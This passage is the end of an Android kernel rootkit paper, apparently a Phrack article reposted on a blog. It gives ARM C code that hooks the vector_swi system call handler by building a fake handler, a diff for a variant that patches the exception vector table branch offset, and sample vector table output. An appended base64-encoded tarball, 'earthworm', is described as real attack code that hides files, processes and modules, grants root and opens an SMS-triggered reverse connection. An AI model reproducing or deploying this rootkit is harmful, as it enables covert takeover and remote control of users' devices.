    	vector_swi_ptr=swi_addr+offset; /* 0xffff0420 */
    	orig_vector_swi_addr=vector_swi_addr; /* vector_swi's addr */
    
    	/* processing __cr_alignment */
    	while(vector_swi_addr++){
    		if(((*(unsigned long *)vector_swi_addr)&
    		0xfffff000)==0xe28f8000){
    			add_r8_pc_addr=(unsigned long)vector_swi_addr;
    			break;
    		}
    		/* get __cr_alingment's addr */
    		if(((*(unsigned long *)vector_swi_addr)&
    		0xfffff000)==0xe59fc000){
    			offset=((*(unsigned long *)vector_swi_addr)&
    			0xfff)+8;
    			ldr_ip_pc_addr=*(unsigned long *)
    			((char *)vector_swi_addr+offset);
    		}
    	}
    	/* creating fake vector_swi handler */
    	memcpy(new_vector_swi,(char *)orig_vector_swi_addr,
    	(add_r8_pc_addr-orig_vector_swi_addr));
    	offset=(add_r8_pc_addr-orig_vector_swi_addr);
    	for(i=0;i<offset;i+=4){
    		if(((*(long *)&new_vector_swi[i])&
    		0xfffff000)==0xe59fc000){
    			*(long *)&new_vector_swi[i]=0xe59fc020;
    			// ldr ip, [pc, #32]
    			break;
    		}
    	}
    	/* ldr r8, [pc, #0] */
    	*(long *)&new_vector_swi[offset]=0xe59f8000;
    	offset+=4;
    	/* ldr pc, [pc, #0] */
    	*(long *)&new_vector_swi[offset]=0xe59ff000;
    	offset+=4;
    	/* fake sys_call_table */
    	*(long *)&new_vector_swi[offset]=hacked_sys_call_table;
    	offset+=4;
    	/* jmp original vector_swi's addr */
    	*(long *)&new_vector_swi[offset]=(add_r8_pc_addr+4);
    	offset+=4;
    	/* __cr_alignment's addr */
    	*(long *)&new_vector_swi[offset]=ldr_ip_pc_addr;
    	offset+=4;
    
    	/* change the address of vector_swi handler
    	   within exception vector table */
    	*(unsigned long *)vector_swi_ptr=&new_vector_swi;
    
    	return;
    }
    
    This code gets the address which processes the sys_call_table within
    vector_swi handler routine and then copies original contents of vector_swi
    to the fake vector_swi variable before the address we obtained. After
    changing some parts of fake vector_swi to make the code refer _cr_alignment
    function address correctly, we need to add instructions that save the
    address of sys_call_table copy version to r8 register and jump back to the
    original vector_swi handler function. Finally, hooking starts when we
    modify the address of vector_swi handler function within exception vector
    table.
    
    
    --[ 5.3 - Hooking techniques changing branch instruction offset
    
    The second hooking technique to change the branch instruction offset within
    exception vector table is that we don't change vector_swi handler and
    change the offset of 4 byte branch instruction code called automatically
    when the software interrupt occurs.
    
    	1. Proceed to step 4 like the way in section 5.1.
    	2. Store the address of generated fake vector_swi handler routine
    	   in the specific area within exception vector table.
    	3. Change 1 byte which is an offset of 4 byte instruction codes at
    	   0xffff0008 and store.
    
    The code compared with section 5.2 is as follows.
    
    - *(unsigned long *)vector_swi_ptr=&new_vector_swi;
    ...
    + *(unsigned long *)(vector_swi_ptr+4)=&new_vector_swi; /* 0xffff0424 */
    ...
    + *(unsigned long *)swi_addr+=4; /* 0xe59ff410 -> 0xe59ff414 */
    
    The changed exception vector table after hooking is as follows.
    
    # ./coelacanth -e
    [000] ffff0000: ef9f0000 [Reset]          ; svc 0x9f0000 branch code array
    [004] ffff0004: ea0000dd [Undef]          ; b   0x380
    [008] ffff0008: e59ff414 [SWI]            ; ldr pc, [pc, #1044] ; 0x424
    [00c] ffff000c: ea0000bb [Abort-perfetch] ; b   0x300
    [010] ffff0010: ea00009a [Abort-data]     ; b   0x280
    [014] ffff0014: ea0000fa [Reserved]       ; b   0x404
    [018] ffff0018: ea000078 [IRQ]            ; b   0x608
    [01c] ffff001c: ea0000f7 [FIQ]            ; b   0x400
    [020] Reserved
    ... skip ...
    [420] ffff0420: c003df40 [vector_swi]
    [424] ffff0424: bf0ceb5c [new_vector_swi] ; fake vector_swi handler code
    
    Hooking starts when the address of a fake vector_swi handler code is stored
    at 0xffff0424 and the 4 byte branch instruction offset at 0xffff0008
    changes the address around 0xffff0424 for reference.
    
    
    --[ 6 - Conclusion
    
    One more time, I thank many pioneers for their devotion and inspiration.
    I also hope various Android rootkit researches to follow. It is a pity
    that I couldn't cover all the ideas that occurred in my mind during
    writing this paper. However, I also think that it is better to discuss
    the advanced and practical techniques next time -if you like this one ;-)-.
    
    For more information, the attached example code provides not only file &
    process hiding and kernel module hiding features but also the classical
    rootkit features such as admin privilege succession to specific gid user
    and process privilege changing. I referred to the Defcon 18 whitepaper of
    Christian Papathanasiou and Nicholas J. Percoco for performing the reverse
    connection when we receive a sms message from an appointed phone number.
    
    Thanks to:
    vangelis and GGUM for translating Korean into English. Other than those who
    helped me on this paper, I'd like to thank my colleagues, people in my
    graduate school and everyone who knows me.
    
    
    --[ 7 - References
    
     [1] "Abuse of the Linux Kernel for Fun and Profit" by halflife
         [Phrack issue 50, article 05]
    
     [2] "Weakening the Linux Kernel" by plaguez
         [Phrack issue 52, article 18]
    
     [3] "RUNTIME KERNEL KMEM PATCHING" by Silvio Cesare
         [runtime-kernel-kmem-patching.txt]
    
     [4] "Linux on-the-fly kernel patching without LKM" by sd & devik
         [Phrack issue 58, article 07]
    
     [5] "Handling Interrupt Descriptor Table for fun and profit" by kad
         [Phrack issue 59, article 04]
    
     [6] "trojan eraser or i want my system call table clean" by riq
         [Phrack issue 54, article 03]
    
     [7] "yet another article about stealth modules in linux" by riq
         ["abtrom: anti btrom" in a mail to Bugtraq]
    
     [8] "Saint Jude, The Model" by Timothy Lawless
         [http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf]
    
     [9] "IA32 ADVANCED FUNCTION HOOKING" by mayhem
         [Phrack issue 58, article 08]
    
    [10] "Android LKM Rootkit" by fred
         [http://upche.org/doku.php?id=wiki:rootkit]
    
    [11] "This is not the droid you're looking for..." by Trustwave
         [DEFCON-18-Trustwave-Spiderlabs-Android-Rootkit-WP.pdf]
    
    
    --[ 8 - Appendix: earthworm.tgz.uu
    
    I attach a demo code to demonstrate the concepts which I explained in this
    paper. This code can be used as a real code for attack or just a proof-of-
    concept code. I wish you use this code only for your study not for a bad
    purpose.
    
    <++> earthworm.tgz.uu
    begin-base64 644 earthworm.tgz
    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
    ====
    <-->
    
    --[ EOF
    

    参考

  • 相关阅读:
    /、./和../的区别
    【Java基础】-- FileUtils工具类常用方法
    【数据库】-- MySQL中比like更高效的三个写法
    【Java框架】-- SpringBoot大文件RestTemplate下载解决方案
    记一次gitlab代码仓清空还原复盘
    聊聊如何实现一个带有拦截器功能的SPI
    聊聊如何实现一个支持键值对的SPI
    类实例对象的class类型却不属于该类,何解?
    exe打包成安装文件(界面美观)
    linux系统软件启动sh脚本
  • 原文地址:https://www.cnblogs.com/senior-engineer/p/4777360.html
Copyright © 2020-2023  润新知